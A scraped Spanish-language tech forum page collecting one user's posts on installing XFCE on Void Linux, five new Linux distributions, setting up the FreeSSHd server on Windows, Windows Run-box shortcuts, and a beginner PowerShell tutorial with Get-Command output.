No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Nota:
No tenemos instalado xorg, en mi caso no tengo instalado nignun desktop enviroment y instalare XFCE







Post Instalacion
Actualizar Los Repo
Código: php
# xbps-install -Suv


Xorg
Código: php
# xbps-install -S xorg xterm

Interfaces De Video
Código: php
xbps-install -S xorg-minimal xorg-fonts xf86-video-intel

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Instalando XFCE4
Código: php
# xbps-install -S xfce4

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Como no tenemos Display Layer Usaremos el Siguiente:
Código: php
# xbps-install -S lightdm lightdm-gtk3-greeter
# ln -s /etc/sv/dbus /var/service/dbus
# ln -s /etc/sv/lightdm /var/service/lightdm



Ya teniendo instalado el XFCE4,XORG,LIGHTDM, Escribimos en minuscula startxfce4 y iniciara escritorio xfce.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Quieres cambiar la resolucion de pantalla?
Xrandr es la repuesta como lo haremos, abrimos una terminal ejecutamos xrandr ya sea con root o sudo.
Si no lo tiene instalado escribe este comando.
Código: php
xbps-install -S xrandr

Ya instalado XRANDR, lo ejecutamos y vemos las resoluciones que tenemo mi outpu es Virtual1 , asi se llama el monitor puede variar los nombres , es decir escribo este comando.
Código: php
xrandr --output Virtual1 --mode 1280x1024

y tendremos la resolucion de nuestro monitor.


NEOFETCH DE VOID Y AL FINAL TENEMOS NUESTRA DISTRO INSTALADA.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#7
GNU/Linux / 5 Nuevos Sistema Operativo Linux
Febrero 01, 2017, 12:38:12 PM
SemicodeOS

SemicodeOS es una distribución de Linux especialmente construida para programadores y desarrolladores web. Incluye todos los compiladores, editores de texto, IDE de los lenguajes de programación más populares y herramientas de colaboración para equipos.

Incluso si no eres programador o desarrollador, pero quieres convertirte en uno, SemicodeOS viene con el Scratch IDE para guiarte en tus primeros pasos. Aunque todavía está en beta, esta distribución basada en Sudán seguramente tendrá mucho que ofrecer a la comunidad durante el próximo año.





No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Encantamiento

EnchantmentOS es una distribución basada en Xubuntu 16.04 que incluye aplicaciones especialmente seleccionadas con requisitos de poca memoria. Esto lo hace ideal tanto para hardware antiguo como nuevo.

Sigue el mismo ciclo de soporte a largo plazo que Xubuntu y tiene como objetivo proporcionar software Linux confiable y seguro. Además de eso, las aplicaciones integradas que es fácil de usar incluso para personas no técnicas.

Además, su creador se enorgullece de que EnchantmentOS ofrece un gran rendimiento incluso cuando se arranca con unidades flash USB.



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Escuelas Linux


Escuelas Linux ("Escuelas de Linux") es una distribución basada en Linux Bodhi que se construye para la educación primaria y secundaria e incluye fuera de la caja una amplia variedad de software educativo. Independientemente de su nombre en español, también ofrece soporte completo en inglés.

Otras características distintivas de Escuelas Linux son un entorno de escritorio ligero y bajos requerimientos de memoria y almacenamiento. Según el sitio web oficial, puede funcionar perfectamente bien con tan bajo como 300 MB de RAM y 20 GB de espacio disponible en el disco duro.




OviOS


As opposed to the previous distributions on this list, OviOS is not a multi-purpose operating system. Rather, it is described as an enterprise level storage OS that is not based on any other distribution but that is fully-compatible with the Linux Standard Base (LSB).

You can use OviOS as a robust storage appliance that can handle a iSCSI, NFS, SMB and / or FTP server. On top of this, the latest OviOS version features replication and high-availability. So what are you waiting to give it a try?









No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



ONL (para abreviar) es una distribución basada en Debian, y (al igual que OviOS) no es un sistema operativo multiuso.

Si usted es un administrador de red, estará encantado de averiguar (si no sabía ya) que puede usar ONL en conmutadores de metal desnudo que de otro modo requerirían un costoso sistema operativo con licencia.

Es importante notar que ONL destaca por la gran variedad de software orientado a red y de metal desnudo incluido fuera de la caja. Listo para intentarlo?
Resumen

Usted notará que todas estas distribuciones se han enviado para revisión durante los últimos meses. Si te gusta alguno de ellos, ve a la página de la lista de espera y haz clic en el botón Recomendar junto al nombre de la distribución. Si lo hace, contribuirá a Distrowatch asignando un recurso para revisarlo.



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Fuentes :No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#8
Windows / Freesshd Windows SSH
Enero 21, 2017, 08:37:53 PM
El servidor SSH servirá para ejecutar cualquier comando en la consola de Windows (cmd.exe), aunque también podremos pasar archivos mediante SCP ya sea con comandos o a través de WinSCP (recomendado), el cliente SSH que usaremos será Putty o la consola de cualquier GNU/Linux.

El servidor SFTP servirá para pasar archivos por internet y en LAN de forma segura, cifrando todo el tráfico, en el ejemplo que os pondré, usaré WinSCP que también es compatible con SFTP, es un programa fundamental que no debe faltar en vuestros equipos.

Descarga de FreeSSHd e instalación

Lo primero que debemos hacer es descargarnos el programa FreeSSHd que será el que utilicemos. Puedes descargarlo desde su página web oficial:No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

A continuación procedemos a instalarlo (clic derecho, ejecutar como administrador) y veréis la siguiente pantalla donde damos a SIGUIENTE.














Pinchamos en FINISH y finalizamos la instalación del programa.

Configuración de FreeSSHd

Ha llegado la hora de arrancar el servidor, ejecutamos el programa FreeSSHd con permisos de ADMINISTRADOR para configurarlo adecuadamente.

Cuando lo arranquemos, nos aparecerá esta pantalla:





hora elegimos un puerto para el servidor SSH, por defecto es el puerto 22, también permite tener un máximo de usuarios conectados simultáneamente, lo podemos dejar en 0 si queremos que sea ilimitado.

Como podéis ver, las claves RSA y DSA creadas, son de 1024 bits, podemos crear unas de 2048 bits (más seguras) a cambio de un menor rendimiento.



La forma más segura de conectarnos mediante SSH es con una llave pública para la autenticación, pero es muy pesado llevar dicha llave pública ya sea en un pendrive etc, por tanto sólo vamos a requerir un usuario y clave (que más adelante asignaremos).





Vamos a crear las cuentas de usuario en "Users", creamos un login y la clave, la opción del centro es para poner una clave de las de toda la vida (nada de certificados).



Este programa nos permite habilitar ciertas direcciones IPs para que sólo podamos acceder desde esa dirección en concreto (whitelist), o también permite seleccionar una lista negra para impedir el paso.



Ahora que ya tenemos todo configurado (no hace falta decir que le déis a aplicar, aceptar y guardar en cada una de las opciones para que se guarden).

Nos vamos a la pantalla principal y podemos iniciar el servidor (Click here to start it).



Probando el servidor con WinSCP


Iniciamos WinSCP y conectamos...






Conviene configurar el WinSCP para sólo establecer conexiones con SSH v.2 que es más seguro (aunque al elegir AES256 esta parte la hemos cubierto porque sólo podremos conectar mediante v.2).



Fuente:No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#9
Windows / Comandos Windows (WIN+R)
Enero 21, 2017, 05:03:32 PM
Hola buenas comunidad del foro , este post ayudara ah muchos que no quieren calentarse la cabeza estar clickeando ,creo que los IT de microsoft bromeando siendo que ellos solo hacen click nada relacionado con configuracion.

Algunos comando que hara mas facil .

Código: php
Activación de Windows	                                                                slui
Activar o desactivar características de Windows                                 control appwiz.cpl,,2
Administración de autorización                                                         azman.msc
Administración de discos                                                                 diskmgmt.msc
Administración de equipos                                                                 compmgmt.msc o CompMgmtLauncher
Administrador de comprobación de controladores                                 verifier
Administrador de dispositivos                                                                 devmgmt.msc
Administrador de orígenes de datos ODBC                                                 diskmgmt.msc
Administrador de tareas                                                                         taskmgr
Administrador del servidor Internet Information Services (IIS)                  inetmgr
Agregar y quitar programas                                                                  appwiz.cpl
Asegurar base de datos de cuentas de Windows                                  syskey
Asistencia remota de Windows                                                          msra
Asistente para agregar hardware                                                          hdwwiz.cpl
Asistente para crear una carpeta compartida                                          shrpubw
Bibliotecas o Librerías de Windows                                                          explorer
Bloc de notas                                                                                  notepad
Calculadora                                                                                  calc
Calibrador                                                                                          tabcal
Carpetas compartidas                                                                          fsmgmt.msc
Centro de accesibilidad                                                                          utilman
Centro de actividades                                                                          wscui.cpl
Certificados                                                                                     certmgr.msc
Chequear y reparar discos                                                                  chkdsk
Consola de CMD o interprete de comandos                                          cmd
Comprobación de firmas de archivo                                                          sigverif
Conexión a escritorio remoto                                                                  mstsc
Conexión a red telefónica                                                                  rasphone
Conexiones de red                                                                          control netconnections
Conexiones de red                                                                          ncpa.cpl
Configuración de SQL Server                                                                  cliconfg
Configuración del sistema                                                                  msconfig
Configuración regional y de idiomas                                                          intl.cpl
Conjunto resultante de directivas                                                          rsop.msc
Contactos o libreta de direcciones                                                          wab
Importar contactos a la libreta de direcciones                                          wabmig
Copia de seguridad y restauración                                                          sdclt
Cuentas de Usuario                                                                          netplwiz
Carpeta de Descargas                                                                          Downloads
Desfragmentador de discos                                                                  dfrgui
Diagnóstico de Direct X                                                                          dxdiag
Diagnóstico de memoria de Windows                                                  mdsched
Directiva de seguridad local                                                                  secpol.msc
Diskpart (crear particiones)                                                                  diskpart
Dispositivos de juegos                                                                          joy.cpl
DPI Scaling (Ajuste de pantalla)                                                          dpiscaling
Editor de caracteres privados                                                                  eudcedit
Editor de configuración del sistema                                                          sysedit
Editor de directivas de grupo local                                                          gpedit.msc
Editor de portadas de fax                                                                  fxscover
Editor del Registro                                                                          regedit.exe
Encriptación de archivos                                                                  rekeywiz
Equipos a mi alrededor                                                                           collab.cpl
Fax y Escáner de Windows                                                                   wfs
Fecha y hora                                                                                   timedate.cpl
Firewall de Windows                                                                           firewall.cpl
Firewall de Windows con seguridad avanzada                                            wf.msc


Comandos para Propiedades del sistema

Propiedades del sistema                  sysdm.cpl
Acceso remoto                          SystemPropertiesRemote
Hardware                                  SystemPropertiesHardware
Nombre del equipo                  SystemPropertiesComputerName
Opciones avanzadas                  SystemPropertiesAdvanced
Protección del sistema                  SystemPropertiesProtection
#10
Windows / Tutorial Basico Poweshell
Enero 11, 2017, 12:31:10 AM
Hola muy buenas, en este post haremos un tutorial basico de powershell una herramienta muy potente , toda la informacion obtenida por investigacion y compartir mi ser ,ohala os guste un placer compartir comenzamos .

Antes de todo que es powershell daremos una pequeña citacion de wiki

CitarWindows PowerShell es una interfaz de consola (CLI) con posibilidad de escritura y unión de comandos por medio de instrucciones (scripts en inglés). Es mucho más rica e interactiva que sus predecesores, desde DOS hasta Windows 7. Esta interfaz de consola está diseñada para su uso por parte de administradores de sistemas, con el propósito de automatizar tareas o realizarlas de forma más controlada. Originalmente denominada como MONAD en 2003, su nombre oficial cambió al actual cuando fue lanzada al público el 25 de abril de 2006. El 15 de agosto de 2016, Microsoft abrió el código de PowerShell en GitHub.
En mis propias palabras y simplificado es cmd pero mejorado y ejeucta scripts con mejoras es decir se asimila  linux shell


Segun MSN MVA Y Microsoft


Citar¿Pero que es PowerShell? Powershell es un motor de administración orientado a objetos basado en .NET Framework. Este es el punto más importante de PowerShell. En PowerShell todo son objetos, aunque veamos la salida por pantalla de la ejecución de comandos como una cadena de texto, en realidad lo que vemos es la representación de un objeto.

PowerShell es una aplicación que normalmente vemos como una ventana CMD con fondo azul, pero PowerShell es realmente la base, la ventana CMD es una aplicación que utiliza el motor de PowerShell.

Video



Ventana de Powershell


Hay muchar de ejecutar la que uso es teclear windows +R luego escribo powershell


Hay varios tipo de powershell


Junto a PowerShell, en nuestros sistemas también tenemos PowerShell ISE, que es un editor gráfico para crear y ejecutar comandos PowerShell.

Demostración básica

Arrancamos una ventana de PowerShell y ejecutamos:

Código: php

Get-Command



De esta forma podemos ver los comandos (o cmdlets), funciones, alias que tenemos disponibles para ejecutar.

Los comandos, utilizan un sistema de nombres, por el que cada comando está formado por dos partes Verbo y Nombre, separados por un guión. Por ejemplo: Get-Command, Get-Service, Stop-Service, Start-Service...

Cada comando tiene distintos parámetros que podemos utilizar para definir el comando concreto a ejecutar. Por ejemplo: Si queremos obtener solo los alias ejecutamos.

Código: php
Get-Command -CommandType Alias


Con todos los comandos podemos utilizar parámetros. Hay algunos parámetros que son comunes a todos los comandos, como pueden ser -WhatIf, -Verbose ... y otros que son específicos de cada comando, como puede ser el que hemos visto -CommandType

Otro ejemplo básico pero añadiendo uno de los aspectos más importantes de PowerShell, la canalización entre comandos, que la salida de un comando sirva de entrada para otro.



Si ejecutamos:

Código: php
Get-Service | Where-Object { $_.Status -eq "Running"} | Sort DisplayName | Select-Object ServiceName,DisplayName | Out-Grid View


Obtenemos una ventana con el listado de servicios que están en estado Running, ordenados alfabéticamente por la descripción. Más adelante veremos con detalle que es lo que ha pasado en este comando.

Uso de alias

Si ejecutamos:

Código: php
dir C:\



Vemos que obtenemos un listado de los archivos.

Pero que pasa si en lugar de "dir" utilizamos "ls"
ls C:\


Obtenemos el mismo resultado. Entonces, ¿los comandos Linux funcionan en PowerShell? No. Lo que tenemos aquí son Alias. Comandos que en realidad son enlaces a otros comandos y Microsoft ha tenido la idea de crear por defecto el alias "ls".

Vemos que tanto "dir" como "ls" son Alias del mismo comando Get-ChildItem

Entonces que pasa si ejecutamos

Código: php

Get-ChildItem C:\



Pues que tenemos la misma salida que con "dir" y con "ls"

Ahora vamos a ver como un sencillo comando como puede ser el comando "dir", utilizando los parámetros correspondientes, amplían su potencial. Por ejemplo:
Código: php
dir C:\*.txt -File -Recurse

Con este comando obtenemos todos los archivos con extensión txt existentes en la unidad C:\


Otro ejemplo:
Código: php
dir "C:\Program Files" -File -Recurse | Sort-Object Count -Descending | Select-Object Name, Count | Out-GridView




Otros ejemplos de hacer llamados
Código: php
PS C:\> get-command *nmap*

CommandType     Name                                               ModuleName
-----------     ----                                               ----------
Application     nmap.exe
Application     nmap-update.exe
Application     zenmap.exe


PS C:\> get-command *sql*

CommandType     Name                                               ModuleName
-----------     ----                                               ----------
Application     SQLCMD.EXE
Application     SqlLocalDB.exe


Y la gran lista de commandos con get-command
Código: php

[code]PS C:\Users\ALOIS> Get-Command

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Alias           Add-ProvisionedAppxPackage                         3.0        Dism
Alias           Apply-WindowsUnattend                              3.0        Dism
Alias           Disable-PhysicalDiskIndication                     2.0.0.0    Storage
Alias           Disable-StorageDiagnosticLog                       2.0.0.0    Storage
Alias           Enable-PhysicalDiskIndication                      2.0.0.0    Storage
Alias           Enable-StorageDiagnosticLog                        2.0.0.0    Storage
Alias           Flush-Volume                                       2.0.0.0    Storage
Alias           Get-DiskSNV                                        2.0.0.0    Storage
Alias           Get-PhysicalDiskSNV                                2.0.0.0    Storage
Alias           Get-ProvisionedAppxPackage                         3.0        Dism
Alias           Get-StorageEnclosureSNV                            2.0.0.0    Storage
Alias           Initialize-Volume                                  2.0.0.0    Storage
Alias           Move-SmbClient                                     2.0.0.0    SmbWitness
Alias           Remove-ProvisionedAppxPackage                      3.0        Dism
Alias           Write-FileSystemCache                              2.0.0.0    Storage
Function        A:
Function        Add-BCDataCacheExtension                           1.0.0.0    BranchCache
Function        Add-BitLockerKeyProtector                          1.0.0.0    BitLocker
Function        Add-DnsClientNrptRule                              1.0.0.0    DnsClient
Function        Add-DtcClusterTMMapping                            1.0.0.0    MsDtc
Function        Add-EtwTraceProvider                               1.0.0.0    EventTracingManagement
Function        Add-InitiatorIdToMaskingSet                        2.0.0.0    Storage
Function        Add-MpPreference                                   1.0        Defender
Function        Add-NetEventNetworkAdapter                         1.0.0.0    NetEventPacketCapture
Function        Add-NetEventPacketCaptureProvider                  1.0.0.0    NetEventPacketCapture
Function        Add-NetEventProvider                               1.0.0.0    NetEventPacketCapture
Function        Add-NetEventVFPProvider                            1.0.0.0    NetEventPacketCapture
Function        Add-NetEventVmNetworkAdapter                       1.0.0.0    NetEventPacketCapture
Function        Add-NetEventVmSwitch                               1.0.0.0    NetEventPacketCapture
Function        Add-NetEventVmSwitchProvider                       1.0.0.0    NetEventPacketCapture
Function        Add-NetEventWFPCaptureProvider                     1.0.0.0    NetEventPacketCapture
Function        Add-NetIPHttpsCertBinding                          1.0.0.0    NetworkTransition
Function        Add-NetLbfoTeamMember                              2.0.0.0    NetLbfo
Function        Add-NetLbfoTeamNic                                 2.0.0.0    NetLbfo
Function        Add-NetNatExternalAddress                          1.0.0.0    NetNat
Function        Add-NetNatStaticMapping                            1.0.0.0    NetNat
Function        Add-NetSwitchTeamMember                            1.0.0.0    NetSwitchTeam
Function        Add-OdbcDsn                                        1.0.0.0    Wdac
Function        Add-PartitionAccessPath                            2.0.0.0    Storage
Function        Add-PhysicalDisk                                   2.0.0.0    Storage
Function        Add-Printer                                        1.1        PrintManagement
Function        Add-PrinterDriver                                  1.1        PrintManagement
Function        Add-PrinterPort                                    1.1        PrintManagement
Function        Add-TargetPortToMaskingSet                         2.0.0.0    Storage
Function        Add-VirtualDiskToMaskingSet                        2.0.0.0    Storage
Function        Add-VpnConnection                                  2.0.0.0    VpnClient
Function        Add-VpnConnectionRoute                             2.0.0.0    VpnClient
Function        Add-VpnConnectionTriggerApplication                2.0.0.0    VpnClient
Function        Add-VpnConnectionTriggerDnsConfiguration           2.0.0.0    VpnClient
Function        Add-VpnConnectionTriggerTrustedNetwork             2.0.0.0    VpnClient
Function        AfterAll                                           3.4.0      Pester
Function        AfterEach                                          3.4.0      Pester
Function        Assert-MockCalled                                  3.4.0      Pester
Function        Assert-VerifiableMocks                             3.4.0      Pester
Function        B:
Function        Backup-BitLockerKeyProtector                       1.0.0.0    BitLocker
Function        BeforeAll                                          3.4.0      Pester
Function        BeforeEach                                         3.4.0      Pester
Function        Block-FileShareAccess                              2.0.0.0    Storage
Function        Block-SmbShareAccess                               2.0.0.0    SmbShare
Function        C:
Function        cd..
Function        cd\
Function        Clear-AssignedAccess                               1.0.0.0    AssignedAccess
Function        Clear-BCCache                                      1.0.0.0    BranchCache
Function        Clear-BitLockerAutoUnlock                          1.0.0.0    BitLocker
Function        Clear-Disk                                         2.0.0.0    Storage
Function        Clear-DnsClientCache                               1.0.0.0    DnsClient
Function        Clear-FileStorageTier                              2.0.0.0    Storage
Function        Clear-Host
Function        Clear-PcsvDeviceLog                                1.0.0.0    PcsvDevice
Function        Clear-StorageDiagnosticInfo                        2.0.0.0    Storage
Function        Close-SmbOpenFile                                  2.0.0.0    SmbShare
Function        Close-SmbSession                                   2.0.0.0    SmbShare
Function        Compress-Archive                                   1.0.1.0    Microsoft.PowerShell.Archive
Function        Configuration                                      1.1        PSDesiredStateConfiguration
Function        Connect-IscsiTarget                                1.0.0.0    iSCSI
Function        Connect-VirtualDisk                                2.0.0.0    Storage
Function        Context                                            3.4.0      Pester
Function        ConvertFrom-SddlString                             3.1.0.0    Microsoft.PowerShell.Utility
Function        Copy-NetFirewallRule                               2.0.0.0    NetSecurity
Function        Copy-NetIPsecMainModeCryptoSet                     2.0.0.0    NetSecurity
Function        Copy-NetIPsecMainModeRule                          2.0.0.0    NetSecurity
Function        Copy-NetIPsecPhase1AuthSet                         2.0.0.0    NetSecurity
Function        Copy-NetIPsecPhase2AuthSet                         2.0.0.0    NetSecurity
Function        Copy-NetIPsecQuickModeCryptoSet                    2.0.0.0    NetSecurity
Function        Copy-NetIPsecRule                                  2.0.0.0    NetSecurity
Function        D:
Function        Debug-FileShare                                    2.0.0.0    Storage
Function        Debug-MMAppPrelaunch                               1.0        MMAgent
Function        Debug-StorageSubSystem                             2.0.0.0    Storage
Function        Debug-Volume                                       2.0.0.0    Storage
Function        Describe                                           3.4.0      Pester
Function        Disable-BC                                         1.0.0.0    BranchCache
Function        Disable-BCDowngrading                              1.0.0.0    BranchCache
Function        Disable-BCServeOnBattery                           1.0.0.0    BranchCache
Function        Disable-BitLocker                                  1.0.0.0    BitLocker
Function        Disable-BitLockerAutoUnlock                        1.0.0.0    BitLocker
Function        Disable-DAManualEntryPointSelection                1.0.0.0    DirectAccessClientComponents
Function        Disable-DscDebug                                   1.1        PSDesiredStateConfiguration
Function        Disable-MMAgent                                    1.0        MMAgent
Function        Disable-NetAdapter                                 2.0.0.0    NetAdapter
Function        Disable-NetAdapterBinding                          2.0.0.0    NetAdapter
Function        Disable-NetAdapterChecksumOffload                  2.0.0.0    NetAdapter
Function        Disable-NetAdapterEncapsulatedPacketTaskOffload    2.0.0.0    NetAdapter
Function        Disable-NetAdapterIPsecOffload                     2.0.0.0    NetAdapter
Function        Disable-NetAdapterLso                              2.0.0.0    NetAdapter
Function        Disable-NetAdapterPacketDirect                     2.0.0.0    NetAdapter
Function        Disable-NetAdapterPowerManagement                  2.0.0.0    NetAdapter
Function        Disable-NetAdapterQos                              2.0.0.0    NetAdapter
Function        Disable-NetAdapterRdma                             2.0.0.0    NetAdapter
Function        Disable-NetAdapterRsc                              2.0.0.0    NetAdapter
Function        Disable-NetAdapterRss                              2.0.0.0    NetAdapter
Function        Disable-NetAdapterSriov                            2.0.0.0    NetAdapter
Function        Disable-NetAdapterVmq                              2.0.0.0    NetAdapter
Function        Disable-NetDnsTransitionConfiguration              1.0.0.0    NetworkTransition
Function        Disable-NetFirewallRule                            2.0.0.0    NetSecurity
Function        Disable-NetIPHttpsProfile                          1.0.0.0    NetworkTransition
Function        Disable-NetIPsecMainModeRule                       2.0.0.0    NetSecurity
Function        Disable-NetIPsecRule                               2.0.0.0    NetSecurity
Function        Disable-NetNatTransitionConfiguration              1.0.0.0    NetworkTransition
Function        Disable-NetworkSwitchEthernetPort                  1.0.0.0    NetworkSwitchManager
Function        Disable-NetworkSwitchFeature                       1.0.0.0    NetworkSwitchManager
Function        Disable-NetworkSwitchVlan                          1.0.0.0    NetworkSwitchManager
Function        Disable-OdbcPerfCounter                            1.0.0.0    Wdac
Function        Disable-PhysicalDiskIdentification                 2.0.0.0    Storage
Function        Disable-PnpDevice                                  1.0.0.0    PnpDevice
Function        Disable-PSTrace                                    1.0.0.0    PSDiagnostics
Function        Disable-PSWSManCombinedTrace                       1.0.0.0    PSDiagnostics
Function        Disable-ScheduledTask                              1.0.0.0    ScheduledTasks
Function        Disable-SmbDelegation                              2.0.0.0    SmbShare
Function        Disable-StorageEnclosureIdentification             2.0.0.0    Storage
Function        Disable-StorageHighAvailability                    2.0.0.0    Storage
Function        Disable-StorageMaintenanceMode                     2.0.0.0    Storage
Function        Disable-WdacBidTrace                               1.0.0.0    Wdac
Function        Disable-WSManTrace                                 1.0.0.0    PSDiagnostics
Function        Disconnect-IscsiTarget                             1.0.0.0    iSCSI
Function        Disconnect-VirtualDisk                             2.0.0.0    Storage
Function        Dismount-DiskImage                                 2.0.0.0    Storage
Function        E:
Function        Enable-BCDistributed                               1.0.0.0    BranchCache
Function        Enable-BCDowngrading                               1.0.0.0    BranchCache
Function        Enable-BCHostedClient                              1.0.0.0    BranchCache
Function        Enable-BCHostedServer                              1.0.0.0    BranchCache
Function        Enable-BCLocal                                     1.0.0.0    BranchCache
Function        Enable-BCServeOnBattery                            1.0.0.0    BranchCache
Function        Enable-BitLocker                                   1.0.0.0    BitLocker
Function        Enable-BitLockerAutoUnlock                         1.0.0.0    BitLocker
Function        Enable-DAManualEntryPointSelection                 1.0.0.0    DirectAccessClientComponents
Function        Enable-DscDebug                                    1.1        PSDesiredStateConfiguration
Function        Enable-MMAgent                                     1.0        MMAgent
Function        Enable-NetAdapter                                  2.0.0.0    NetAdapter
Function        Enable-NetAdapterBinding                           2.0.0.0    NetAdapter
Function        Enable-NetAdapterChecksumOffload                   2.0.0.0    NetAdapter
Function        Enable-NetAdapterEncapsulatedPacketTaskOffload     2.0.0.0    NetAdapter
Function        Enable-NetAdapterIPsecOffload                      2.0.0.0    NetAdapter
Function        Enable-NetAdapterLso                               2.0.0.0    NetAdapter
Function        Enable-NetAdapterPacketDirect                      2.0.0.0    NetAdapter
Function        Enable-NetAdapterPowerManagement                   2.0.0.0    NetAdapter
Function        Enable-NetAdapterQos                               2.0.0.0    NetAdapter
Function        Enable-NetAdapterRdma                              2.0.0.0    NetAdapter
Function        Enable-NetAdapterRsc                               2.0.0.0    NetAdapter
Function        Enable-NetAdapterRss                               2.0.0.0    NetAdapter
Function        Enable-NetAdapterSriov                             2.0.0.0    NetAdapter
Function        Enable-NetAdapterVmq                               2.0.0.0    NetAdapter
Function        Enable-NetDnsTransitionConfiguration               1.0.0.0    NetworkTransition
Function        Enable-NetFirewallRule                             2.0.0.0    NetSecurity
Function        Enable-NetIPHttpsProfile                           1.0.0.0    NetworkTransition
Function        Enable-NetIPsecMainModeRule                        2.0.0.0    NetSecurity
Function        Enable-NetIPsecRule                                2.0.0.0    NetSecurity
Function        Enable-NetNatTransitionConfiguration               1.0.0.0    NetworkTransition
Function        Enable-NetworkSwitchEthernetPort                   1.0.0.0    NetworkSwitchManager
Function        Enable-NetworkSwitchFeature                        1.0.0.0    NetworkSwitchManager
Function        Enable-NetworkSwitchVlan                           1.0.0.0    NetworkSwitchManager
Function        Enable-OdbcPerfCounter                             1.0.0.0    Wdac
Function        Enable-PhysicalDiskIdentification                  2.0.0.0    Storage
Function        Enable-PnpDevice                                   1.0.0.0    PnpDevice
Function        Enable-PSTrace                                     1.0.0.0    PSDiagnostics
Function        Enable-PSWSManCombinedTrace                        1.0.0.0    PSDiagnostics
Function        Enable-ScheduledTask                               1.0.0.0    ScheduledTasks
Function        Enable-SmbDelegation                               2.0.0.0    SmbShare
Function        Enable-StorageEnclosureIdentification              2.0.0.0    Storage
Function        Enable-StorageHighAvailability                     2.0.0.0    Storage
Function        Enable-StorageMaintenanceMode                      2.0.0.0    Storage
Function        Enable-WdacBidTrace                                1.0.0.0    Wdac
Function        Enable-WSManTrace                                  1.0.0.0    PSDiagnostics
Function        Expand-Archive                                     1.0.1.0    Microsoft.PowerShell.Archive
Function        Export-BCCachePackage                              1.0.0.0    BranchCache
Function        Export-BCSecretKey                                 1.0.0.0    BranchCache
Function        Export-ODataEndpointProxy                          1.0        Microsoft.PowerShell.ODataUtils
Function        Export-ScheduledTask                               1.0.0.0    ScheduledTasks
Function        F:
Function        Find-Command                                       1.0.0.1    PowerShellGet
Function        Find-DscResource                                   1.0.0.1    PowerShellGet
Function        Find-Module                                        1.0.0.1    PowerShellGet
Function        Find-NetIPsecRule                                  2.0.0.0    NetSecurity
Function        Find-NetRoute                                      1.0.0.0    NetTCPIP
Function        Find-RoleCapability                                1.0.0.1    PowerShellGet
Function        Find-Script                                        1.0.0.1    PowerShellGet
Function        Format-Hex                                         3.1.0.0    Microsoft.PowerShell.Utility
Function        Format-Volume                                      2.0.0.0    Storage
Function        G:
Function        Get-AppBackgroundTask                              1.0.0.0    AppBackgroundTask
Function        Get-AppvVirtualProcess                             1.0.0.0    AppvClient
Function        Get-AppxLastError                                  2.0.0.0    Appx
Function        Get-AppxLog                                        2.0.0.0    Appx
Function        Get-AssignedAccess                                 1.0.0.0    AssignedAccess
Function        Get-AutologgerConfig                               1.0.0.0    EventTracingManagement
Function        Get-BCClientConfiguration                          1.0.0.0    BranchCache
Function        Get-BCContentServerConfiguration                   1.0.0.0    BranchCache
Function        Get-BCDataCache                                    1.0.0.0    BranchCache
Function        Get-BCDataCacheExtension                           1.0.0.0    BranchCache
Function        Get-BCHashCache                                    1.0.0.0    BranchCache
Function        Get-BCHostedCacheServerConfiguration               1.0.0.0    BranchCache
Function        Get-BCNetworkConfiguration                         1.0.0.0    BranchCache
Function        Get-BCStatus                                       1.0.0.0    BranchCache
Function        Get-BitLockerVolume                                1.0.0.0    BitLocker
Function        Get-ClusteredScheduledTask                         1.0.0.0    ScheduledTasks
Function        Get-DAClientExperienceConfiguration                1.0.0.0    DirectAccessClientComponents
Function        Get-DAConnectionStatus                             1.0.0.0    NetworkConnectivityStatus
Function        Get-DAEntryPointTableItem                          1.0.0.0    DirectAccessClientComponents
Function        Get-DedupProperties                                2.0.0.0    Storage
Function        Get-Disk                                           2.0.0.0    Storage
Function        Get-DiskImage                                      2.0.0.0    Storage
Function        Get-DiskStorageNodeView                            2.0.0.0    Storage
Function        Get-DnsClient                                      1.0.0.0    DnsClient
Function        Get-DnsClientCache                                 1.0.0.0    DnsClient
Function        Get-DnsClientGlobalSetting                         1.0.0.0    DnsClient
Function        Get-DnsClientNrptGlobal                            1.0.0.0    DnsClient
Function        Get-DnsClientNrptPolicy                            1.0.0.0    DnsClient
Function        Get-DnsClientNrptRule                              1.0.0.0    DnsClient
Function        Get-DnsClientServerAddress                         1.0.0.0    DnsClient
Function        Get-DscConfiguration                               1.1        PSDesiredStateConfiguration
Function        Get-DscConfigurationStatus                         1.1        PSDesiredStateConfiguration
Function        Get-DscLocalConfigurationManager                   1.1        PSDesiredStateConfiguration
Function        Get-DscResource                                    1.1        PSDesiredStateConfiguration
Function        Get-Dtc                                            1.0.0.0    MsDtc
Function        Get-DtcAdvancedHostSetting                         1.0.0.0    MsDtc
Function        Get-DtcAdvancedSetting                             1.0.0.0    MsDtc
Function        Get-DtcClusterDefault                              1.0.0.0    MsDtc
Function        Get-DtcClusterTMMapping                            1.0.0.0    MsDtc
Function        Get-DtcDefault                                     1.0.0.0    MsDtc
Function        Get-DtcLog                                         1.0.0.0    MsDtc
Function        Get-DtcNetworkSetting                              1.0.0.0    MsDtc
Function        Get-DtcTransaction                                 1.0.0.0    MsDtc
Function        Get-DtcTransactionsStatistics                      1.0.0.0    MsDtc
Function        Get-DtcTransactionsTraceSession                    1.0.0.0    MsDtc
Function        Get-DtcTransactionsTraceSetting                    1.0.0.0    MsDtc
Function        Get-EtwTraceProvider                               1.0.0.0    EventTracingManagement
Function        Get-EtwTraceSession                                1.0.0.0    EventTracingManagement
Function        Get-FileHash                                       3.1.0.0    Microsoft.PowerShell.Utility
Function        Get-FileIntegrity                                  2.0.0.0    Storage
Function        Get-FileShare                                      2.0.0.0    Storage
Function        Get-FileShareAccessControlEntry                    2.0.0.0    Storage
Function        Get-FileStorageTier                                2.0.0.0    Storage
Function        Get-InitiatorId                                    2.0.0.0    Storage
Function        Get-InitiatorPort                                  2.0.0.0    Storage
Function        Get-InstalledModule                                1.0.0.1    PowerShellGet
Function        Get-InstalledScript                                1.0.0.1    PowerShellGet
Function        Get-IscsiConnection                                1.0.0.0    iSCSI
